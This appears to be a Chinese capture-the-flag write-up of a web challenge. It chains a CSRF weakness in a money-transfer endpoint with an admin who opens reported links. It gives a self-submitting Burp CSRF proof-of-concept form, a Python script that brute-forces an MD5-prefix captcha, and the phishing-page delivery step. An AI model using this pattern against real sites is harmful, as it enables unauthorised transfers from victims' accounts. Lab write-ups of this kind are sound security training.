信息收集
访问题目地址,随便注册一个账户,进行收集信息。
注意到报告界面提到账户出现了部门的转账记录,猜测存在CSRF漏洞,进行实验验证。
注册两个账户a、b,由a向b转账,观察转账报文。
POST /transfer.php HTTP/1.1
Host: 5542a522-d42b-45f5-a55b-0cb2caf84f34.node4.buuoj.cn:81
Content-Length: 330
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbs6qfHEFgXXAlbr
Cookie: PHPSESSID=4dc50fad5f8cfea10217f51d7c06cc15
Connection: close
------WebKitFormBoundarycbs6qfHEFgXXAlbr
Content-Disposition: form-data; name="target"
b
------WebKitFormBoundarycbs6qfHEFgXXAlbr
Content-Disposition: form-data; name="money"
1
------WebKitFormBoundarycbs6qfHEFgXXAlbr
Content-Disposition: form-data; name="messages"
test
------WebKitFormBoundarycbs6qfHEFgXXAlbr--
注意到转账流程没有任何加密措施以及验证措施,只要触发POST请求即可发送报文。
继续收集信息,注意到报告中提到:
投诉:Longlone最近不怎么看我报告中的链接了
<回复> 投诉:我会好好查看你们提交的报告
猜测可能存在XSS漏洞。
解题
使用BurpSuite生成CSRF POC,并修改对象为a:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://5542a522-d42b-45f5-a55b-0cb2caf84f34.node4.buuoj.cn:81/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="a" />
<input type="hidden" name="money" value="10000000000" />
<input type="hidden" name="messages" value="test" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
提交报告需要验证码,使用Python脚本进行爆破:
import hashlib
import random
import string
def generateRandomString(length):
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for i in range(length))
while True:
re = generateRandomString(10)
if (hashlib.md5(re.encode()).hexdigest()[:5] == '4671a'):
print(re, hashlib.md5(re.encode()).hexdigest())
搭建钓鱼服务器,将POC放入index.html,使用本地账户进行测试。
成功。
将链接放入报告中后获取大量钱,直接购买Flag。